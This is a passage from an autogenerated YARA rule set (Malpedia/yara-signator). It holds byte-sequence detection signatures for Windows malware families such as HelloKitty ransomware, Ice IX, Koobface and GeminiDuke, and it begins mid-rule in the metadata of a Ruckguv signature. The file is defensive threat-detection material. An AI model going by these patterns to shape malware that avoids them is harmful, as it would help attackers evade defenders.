		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ruckguv"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ruckguv_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "45b231c70efe5a17389a0b484f9ffc2309c40182fd8d298e6f80ad3ac2eb154c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 750f 56 50 53 }
		$sequence_1 = { 50 8d4640 50 8d4340 50 }
		$sequence_2 = { 51 56 8b7508 8b463c 03c6 }
		$sequence_3 = { ff75fc ffd0 5f 5e 8bc3 5b }
		$sequence_4 = { a5 a5 66a5 a4 33f6 56 8d453c }
		$sequence_5 = { ffd0 8d859cfdffff 50 68???????? }
		$sequence_6 = { 884d13 8a8801010000 33ff 884dff 397d0c 763d 53 }
		$sequence_7 = { 7908 49 81c900f0ffff 41 0fb7c9 }
		$sequence_8 = { 57 8d8598fcffff 50 8d85a0feffff 68???????? 50 ff555c }
		$sequence_9 = { 8d859cfdffff 50 68???????? e8???????? 6814f1f808 }
	condition:
		7 of them and filesize < 41024
}

rule MALPEDIA_Win_Hellokitty_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "70edbf2a-39f7-5f31-a1a6-369fa9a6babf"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hellokitty"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hellokitty_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "69c3664f3b1b0dc034046821a230bddd8509bf97c9fd256224c800e384d6c7d3"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 89542414 3d00010000 0f8f27010000 8bcb e8???????? 8bf0 }
		$sequence_1 = { 6a08 58 75a4 5b 5f 5e c9 }
		$sequence_2 = { 50 ffd6 8bd8 8945fc 83c8ff 3bd8 0f846b020000 }
		$sequence_3 = { 8b45fc 8b4048 f00fc118 4b 7515 8b45fc 817848c0044200 }
		$sequence_4 = { 03c8 8b45f0 03ce 8b75fc 894df8 c1c105 8b4034 }
		$sequence_5 = { 8d4c242c e8???????? 837c243c08 8d442428 0f43442428 33ff 57 }
		$sequence_6 = { 8b7508 2bdf ba10000000 660f1f440000 8a0c06 8d4001 3248ff }
		$sequence_7 = { 0fb689303b4200 33f9 333d???????? 33fa 8bd7 89b880000000 33d6 }
		$sequence_8 = { c1c806 33c8 8b45dc 3345e8 034dac 23f0 3375dc }
		$sequence_9 = { c1c10e 33c8 8bc2 8b55cc 8bf2 c1e803 33c8 }
	condition:
		7 of them and filesize < 319488
}

rule MALPEDIA_Win_Koobface_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "26b0388c-a8f9-5f6a-a459-0177fcecc6df"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.koobface"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.koobface_auto.yar#L1-L127"
		license_url = "N/A"
		logic_hash = "0e852ce8a28d3657fb835380a3e7fdc823e6b573b8d3e8c2631736d136315996"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d85c8f3ffff 50 ffd6 8d85d8f3ffff 50 c645fc06 ffd6 }
		$sequence_1 = { 56 e8???????? 59 50 56 8d8f50010000 e8???????? }
		$sequence_2 = { 50 0fb78538c1ffff 50 ffb534c1ffff 8d85f0e8ffff ffb530c1ffff 68???????? }
		$sequence_3 = { 6874040000 b8???????? e8???????? 8b4508 }
		$sequence_4 = { 8bd6 c1fa05 8b1495a0534200 83e61f c1e606 f644320480 7416 }
		$sequence_5 = { 5e 8bc3 5b 5d c20c00 e9???????? 55 }
		$sequence_6 = { ff91b4000000 ff75d8 ffd3 8b4514 3bc7 }
		$sequence_7 = { 50 e8???????? 68???????? 8d850857ffff 50 }
		$sequence_8 = { 8906 3bc7 7425 6aeb 50 ff15???????? ff750c }
		$sequence_9 = { ff11 8b45e0 c645fc02 85c0 7406 8b08 50 }
	condition:
		7 of them and filesize < 368640
}

rule MALPEDIA_Win_Powersniff_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "2a881adf-7d1a-56c3-b5e7-0d44ba58f640"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.powersniff"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.powersniff_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "5f0dc4acb7c58a41f657c7beac5f0371e51ded838f8edb6d41966e6195e43ff4"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b5dec ff75fc e8???????? 8bd8 3bde }
		$sequence_1 = { 894df4 33ff eb08 3c0d 7408 47 }
		$sequence_2 = { c745e04d9b0010 c745e46f910010 c745e8a2910010 c745ec549b0010 c745f0c2910010 }
		$sequence_3 = { 8b4508 56 be???????? 57 8908 8a03 894dfc }
		$sequence_4 = { 8975ec 8b75f4 c1ee18 8b34b590740010 }
		$sequence_5 = { eb12 c745fc08000000 eb09 ff15???????? 8945fc 8b45fc 5f }
		$sequence_6 = { 33db 43 5e 5f ff75fc ff15???????? ff75f0 }
		$sequence_7 = { 750f ff15???????? 3de5030000 750d eb09 ff7610 }
		$sequence_8 = { ff15???????? 8bf8 897df0 3bfb 7435 8d4508 50 }
		$sequence_9 = { 331cb590840010 c1ea18 8b349590780010 8b55f4 335808 c1ea08 }
	condition:
		7 of them and filesize < 90112
}

rule MALPEDIA_Win_Scout_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e14921fe-74c7-5cda-92ba-67e7cc0f28ef"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.scout"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.scout_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "3e6544ff6fee99e30b42c384814b4a00494424215e1f894b7afbd76f2c9391e8"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 817c243031313131 7445 690d????????60ea0000 ff15???????? 8b0d???????? b867666666 ffc1 }
		$sequence_1 = { 8d58b0 498bce 448bc3 488d154cac0000 e8???????? 85c0 }
		$sequence_2 = { 7706 ff15???????? 488364243000 488d0d849f0000 8364242800 41b803000000 4533c9 }
		$sequence_3 = { 83c8ff eb0b 4803f6 418b84f728950100 }
		$sequence_4 = { 0f84aa000000 83f81a 0f85eb020000 33ff 488d4c2430 48897c2430 }
		$sequence_5 = { 488b8d80140000 ff15???????? 488d537c 41b888140000 }
		$sequence_6 = { 4885c9 750b 488d0d29f10000 48894b48 4963d0 e8???????? }
		$sequence_7 = { 488d0d36fbfeff 83e03f 458be9 4d03e8 4c8945df 4c8be6 }
		$sequence_8 = { 488d0dd4f90000 4183e23f 4d03f0 4d8bf8 }
		$sequence_9 = { 0f84aa000000 83f81a 0f85eb020000 33ff 488d4c2430 48897c2430 e8???????? }
	condition:
		7 of them and filesize < 315392
}

rule MALPEDIA_Win_Stegoloader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "8b6a7b2b-6883-5a49-84ad-5eb99ca2dffd"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stegoloader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.stegoloader_auto.yar#L1-L176"
		license_url = "N/A"
		logic_hash = "0fc5c31b9f64d477e89b80a8b4c8cba676e173d514623e0201d322a0680fd5e3"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 759d 8b043e 0345fc eb03 }
		$sequence_1 = { 51 51 8b4514 8b4d18 53 56 57 }
		$sequence_2 = { 8d4b01 40 57 894c2414 89442410 8d4c2410 }
		$sequence_3 = { 881e 8811 0fb68801010000 0fb69000010000 8a0c01 020c02 8b55fc }
		$sequence_4 = { 897dfc 8bf7 3bf7 743a 8bce }
		$sequence_5 = { 50 8d45f0 50 53 53 ff75f8 e8???????? }
		$sequence_6 = { 8945f0 894dfc 394dfc 753c 394e18 }
		$sequence_7 = { 8bd3 e8???????? 03f3 59 8945f4 85c0 }
		$sequence_8 = { 2b4c2408 8b542414 8a09 ff442414 48 880a }
		$sequence_9 = { 895e04 895e08 895e0c 7611 53 }
		$sequence_10 = { ff7108 e8???????? c3 56 8bf1 e8???????? f644240801 }
		$sequence_11 = { 49 49 51 ff7004 8b4f04 }
		$sequence_12 = { ff442414 48 880a 75e9 eb5b 83e803 eb02 }
		$sequence_13 = { 8bf8 33f6 8b1c3e 6a40 83c604 8b043e }
		$sequence_14 = { 83ceff 394c240c 7629 57 8b44240c 0fb61401 6a08 }
		$sequence_15 = { c645ff00 8bc8 8bc7 f7f1 }
	condition:
		7 of them and filesize < 802816
}

rule MALPEDIA_Win_Ice_Ix_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "923bfba5-fc64-5bcc-9e18-fd2e69647e54"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ice_ix"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ice_ix_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "88c417db4270d272cced0c61349b1fd36aad8c36a3945176ae9dc99a2eba0afc"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 56 6a47 8945f0 }
		$sequence_1 = { 8db508ffffff 58 e8???????? 6a63 8d7598 58 e8???????? }
		$sequence_2 = { 6a08 6a00 8d45f4 50 e8???????? 8db5d8feffff b89b000000 }
		$sequence_3 = { 6a2d 58 e8???????? ff75d0 ff15???????? }
		$sequence_4 = { 85ff 0f8403020000 8a1408 80fa0d }
		$sequence_5 = { 833d????????04 8b7c2414 1bc0 f7d8 68cc000000 83c034 e8???????? }
		$sequence_6 = { 6a3f 8d75b8 58 e8???????? 8b4df4 8bc6 50 }
		$sequence_7 = { c20400 55 8bec 83ec20 56 6a5c }
		$sequence_8 = { 741d 48 7416 83e80b 740d 83e805 7404 }
		$sequence_9 = { 57 ff15???????? 8b4640 3bc3 0f84a8000000 6800000010 68254e0000 }
	condition:
		7 of them and filesize < 327680
}

rule MALPEDIA_Win_Nevada_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d851b978-3df8-538e-b0a6-f5a42a4c41f2"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nevada"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nevada_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "5d586f59dca860d1839b19790bc7f7be57e580648d77868dbbba465dd7726682"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 4889ea e8???????? 0f0b 4c8d0515c10200 ba00100000 4889e9 e8???????? }
		$sequence_1 = { 4d89f8 664585e4 0f8597feffff e9???????? 4981fe01010000 0f834a010000 0f57c0 }
		$sequence_2 = { e8???????? 4c8da42450020000 4c89e1 4889fa 4d89f8 e8???????? 488db42478020000 }
		$sequence_3 = { 4839ce 74c4 803ea0 72bf eb3e 4839ce 4889d7 }
		$sequence_4 = { 438a443cff 3c2f 7438 3c5c 7434 e9???????? 41813f5c5c3f5c }
		$sequence_5 = { 415f c3 4c8d642430 488dac24b0000000 eb26 488b8424c0000000 48035c2420 }
		$sequence_6 = { 4080fd02 0f8510010000 488d6901 4c39c5 0f83fe000000 803c2abf b301 }
		$sequence_7 = { 0f821affffff 8b442428 4189442434 8a442427 4188442438 31ed e9???????? }
		$sequence_8 = { 48837f1000 0f859c010000 4d89c4 4989d7 488d4710 488945e8 48c74710ffffffff }
		$sequence_9 = { 4c8d3559910200 4c39c9 7317 0f1f840000000000 4885db 740a 803c0b45 }
	condition:
		7 of them and filesize < 1063936
}

rule MALPEDIA_Win_Rarog_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "f5f8ab57-da39-59fd-96e2-5478facae854"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rarog"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rarog_auto.yar#L1-L126"
		license_url = "N/A"
		logic_hash = "631ab74dfbbcce858a4c6605f35ed1c081c9a6b77767d5321714353e8fbb62e4"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b8c246c030000 33cc e8???????? 8be5 5d c3 55 }
		$sequence_1 = { 8d45b8 50 8d4d24 e8???????? 83781408 7202 8b00 }
		$sequence_2 = { 89a504ffffff c741140f000000 895910 68???????? 8819 e8???????? e8???????? }
		$sequence_3 = { 8bc8 8bdf c645fc01 e8???????? c645fc02 c70424???????? 50 }
		$sequence_4 = { c645fc22 e8???????? 8bd8 8db5bcfbffff c645fc23 e8???????? 8bf8 }
		$sequence_5 = { ffb510ffffff 8d8d48ffffff e8???????? 8d9d48ffffff e8???????? 8b8510ffffff }
		$sequence_6 = { 8bc4 89a550ffffff 50 e8???????? 8b8d5cffffff c645fc17 }
		$sequence_7 = { 884597 c645fc04 e8???????? 83ec1c }
		$sequence_8 = { ff7518 8845bc ff7514 8d45b0 ff75bc ff75d0 50 }
		$sequence_9 = { 83c40c 8d8dbcfbffff 51 8bc8 }
	condition:
		7 of them and filesize < 598016
}

rule MALPEDIA_Win_Eagerbee_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "7a126278-7eb1-5d08-9b25-74b27f2a3312"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.eagerbee"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.eagerbee_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "a3d744962e3184242280e8a1606b8e9d39f3a62e4bfb278481827290e0059489"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 3986f4160000 0f8576ffffff 8b8684000000 85c0 7809 488bd0 }
		$sequence_1 = { 488d4c0422 44896309 e8???????? 8bd0 e9???????? 488d4c0421 e8???????? }
		$sequence_2 = { 44396818 0f84b7010000 488d1de463ffff beffff0000 bd00010000 e9???????? 4439af90000000 }
		$sequence_3 = { 885c247d 488b08 488d542470 ff5058 b9fb010000 488bd8 e8???????? }
		$sequence_4 = { c684242b0100006d 4088bc242c010000 4088b4242d010000 48397308 0f84ae030000 488b05???????? c684249000000073 }
		$sequence_5 = { 33c9 8bd7 41b800300000 ff15???????? 8b5500 }
		$sequence_6 = { c644243432 c64424352e c644243664 884c2438 488d4c2430 c644243900 }
		$sequence_7 = { 488d8c24e0040000 48894c2420 488b8c24e8040000 4c8bc3 ba01000000 ffd0 488b05???????? }
		$sequence_8 = { 8a8424c0000000 8b9c24a8000000 488bbc2498000000 88442450 488b8424b8000000 498943e0 8a8424b0000000 }
		$sequence_9 = { 4883ec38 83fa01 7528 488364242800 8364242000 }
	condition:
		7 of them and filesize < 422912
}

rule MALPEDIA_Win_Whitebird_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "1f55b3f7-b049-5ddb-a603-f3dac3229eba"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.whitebird"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.whitebird_auto.yar#L1-L161"
		license_url = "N/A"
		logic_hash = "084753ca04c12bd29943e734768bdc4d7b6a6a5445a6b9fa8738444da44f9e8b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { eb09 80f92f 0f95c1 80c13f }
		$sequence_1 = { 488b83e8140000 488d15a7f2ffff 41b82f000000 488901 488b83f0140000 }
		$sequence_2 = { 56 e8???????? 59 8945d4 85c0 0f84f5000000 6a00 }
		$sequence_3 = { 66898d56ffffff 59 6689855cffffff 66898d58ffffff 8bc8 33c0 }
		$sequence_4 = { 74ea 3918 7467 8b85f4feffff }
		$sequence_5 = { 7cd5 41c60300 4863c2 4c2bd8 4c891e }
		$sequence_6 = { 4c8d4c2440 458bc4 488bd0 488bcd }
		$sequence_7 = { 66898572ffffff 66898d68ffffff 59 6a73 66898d6affffff 8bc8 58 }
		$sequence_8 = { 488d0dacc9ffff 41b808020000 ff15???????? 4c8d5c2478 488d8424b0000000 }
		$sequence_9 = { 8d43f5 66898c2400010000 66898424fe000000 8d43f6 6689942408010000 }
		$sequence_10 = { ffd0 8d4584 50 6802000080 }
		$sequence_11 = { 41bc00200000 498bd4 488d8c2450050000 e8???????? 33c0 488bcb }
		$sequence_12 = { 8985b8fcffff 8b859cfcffff 0fb74002 83c40c 50 c785b4fcffff06000000 ff15???????? }
		$sequence_13 = { 83fe1a 0f8c77ffffff 488d4c2450 ff15???????? 8b542460 8b442458 }
		$sequence_14 = { 6806020000 50 668985f4fdffff 8d85f6fdffff 50 e8???????? 8bc7 }
	condition:
		7 of them and filesize < 139264
}

rule MALPEDIA_Win_Mortalkombat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "2926ed70-9658-5024-99d2-e9010cd78f8a"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mortalkombat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mortalkombat_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "6719ab7cb4e15bf8e439d94e5987475ec5045761b54a9759e4f94419dacc6908"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d85e8feffff 50 68???????? e8???????? 85c0 0f849c020000 8d85e8feffff }
		$sequence_1 = { c745e800000000 8d45d0 50 e8???????? c745b02c010000 c745ac69000000 }
		$sequence_2 = { 7516 6a10 68???????? 68???????? ff7508 e8???????? }
		$sequence_3 = { 7401 41 8b35???????? 8bfe 33d2 83fa10 7502 }
		$sequence_4 = { 68???????? e8???????? 68???????? 6800020000 e8???????? }
		$sequence_5 = { 33ce 033d???????? 33cf 03d1 81c3b979379e 8bca }
		$sequence_6 = { 6a00 e8???????? ff0d???????? 6801010000 }
		$sequence_7 = { 751e 68???????? 68???????? e8???????? 68???????? e8???????? c60000 }
		$sequence_8 = { 837d0c01 0f85a6010000 833d????????00 7506 ff0d???????? 68???????? 68???????? }
		$sequence_9 = { 0fb605???????? 83f801 7511 68???????? 68???????? }
	condition:
		7 of them and filesize < 1224704
}

rule MALPEDIA_Win_Cherry_Picker_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a7caa2a0-b6b8-580c-adee-e174a6220843"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cherry_picker"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cherry_picker_auto.yar#L1-L117"
		license_url = "N/A"
		logic_hash = "576fc4aca504b01489ce7bd7347bbe12054a63e779c96e3d35219ad0c56e8479"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ffd3 68???????? 56 8944242c ffd3 68???????? }
		$sequence_1 = { 8d442428 50 ff542420 8b442420 }
		$sequence_2 = { 8bf0 8bd1 83c408 2bf2 8a11 88140e 41 }
		$sequence_3 = { 68???????? 68???????? a3???????? ffd6 69c0e8030000 }
		$sequence_4 = { ff15???????? a3???????? 85c0 7512 68???????? 50 }
		$sequence_5 = { a3???????? ffd6 68???????? 6a3c }
		$sequence_6 = { 8bf0 0fbec9 81e6ff000000 33f1 8a4a01 42 c1f808 }
		$sequence_7 = { 68e8030000 68???????? 68???????? a3???????? }
		$sequence_8 = { 68???????? 68e8030000 68???????? 68???????? a3???????? }
		$sequence_9 = { 68???????? 56 8944242c ffd3 68???????? }
	condition:
		7 of them and filesize < 712704
}

rule MALPEDIA_Win_Graphical_Neutrino_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "b8be2926-4142-5b9c-963d-8827c1d257eb"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.graphical_neutrino"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.graphical_neutrino_auto.yar#L1-L116"
		license_url = "N/A"
		logic_hash = "738cd6fc4267dd6a5687776cc638194fdfe1e78d0e84383b17d6f440ed210297"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 57 56 53 498b18 458b5808 }
		$sequence_1 = { e8???????? 4c89e1 4c89f2 4c8d4010 }
		$sequence_2 = { 8b6c242c 48637c2428 8d743d00 39f7 7f2b 83fe0f }
		$sequence_3 = { 83c030 83c230 8806 488d4602 885601 }
		$sequence_4 = { 488d8424d8020000 4c8dbc24c8020000 48898424c8020000 488d442460 }
		$sequence_5 = { 488b742470 4c8b7c2450 8a05???????? 84c0 }
		$sequence_6 = { 7518 488b5108 48c1e004 480302 }
		$sequence_7 = { 4863ee 4d89e0 488d4c2b02 e8???????? 488d5302 b030 89f1 }
		$sequence_8 = { 4c8b4c2438 eb26 4584f6 750e 488b17 428a1422 88541d5a }
		$sequence_9 = { 4885d2 0f840d020000 8a02 ffc8 3c01 0f8701020000 }
	condition:
		7 of them and filesize < 674816
}

rule MALPEDIA_Win_Geminiduke_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ba57e2c8-93bd-55ac-a9e9-1b7d9180b057"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.geminiduke"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.geminiduke_auto.yar#L1-L149"
		license_url = "N/A"
		logic_hash = "19a3524ebf5f0547a75168cd2fc0d4ded0d15d189661f967133afc45a2ebe1fb"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 83c404 50 6801000080 ff15???????? 85c0 7407 }
		$sequence_1 = { 8b7c2410 8b442414 8b4c2418 f3aa 5f 59 }
		$sequence_2 = { 52 6819000200 6a00 68???????? e8???????? 83c404 50 }
		$sequence_3 = { 50 51 57 8b7c2410 }
		$sequence_4 = { 034590 03c8 894dd0 8b45f8 }
		$sequence_5 = { 034584 8b8d64ffffff c1e907 8b9564ffffff c1e219 0bca 8b9564ffffff }
		$sequence_6 = { 034590 8b8d70ffffff c1e907 8b9570ffffff }
		$sequence_7 = { 03459c 03c8 894ddc 8b45fc }
		$sequence_8 = { 33d2 f7f3 668907 8bc2 }
		$sequence_9 = { 83c1d8 e9???????? 53 56 57 32db }
		$sequence_10 = { 80f909 7704 8ac1 0430 }
		$sequence_11 = { 8a6834 0fb65036 8a4835 c1e108 0bca 0fb65037 }
		$sequence_12 = { 8ad1 80ea0a 80fa05 7705 }
		$sequence_13 = { 66894704 8bc2 c1e010 668b4602 33d2 f7f3 }
	condition:
		7 of them and filesize < 327680
}

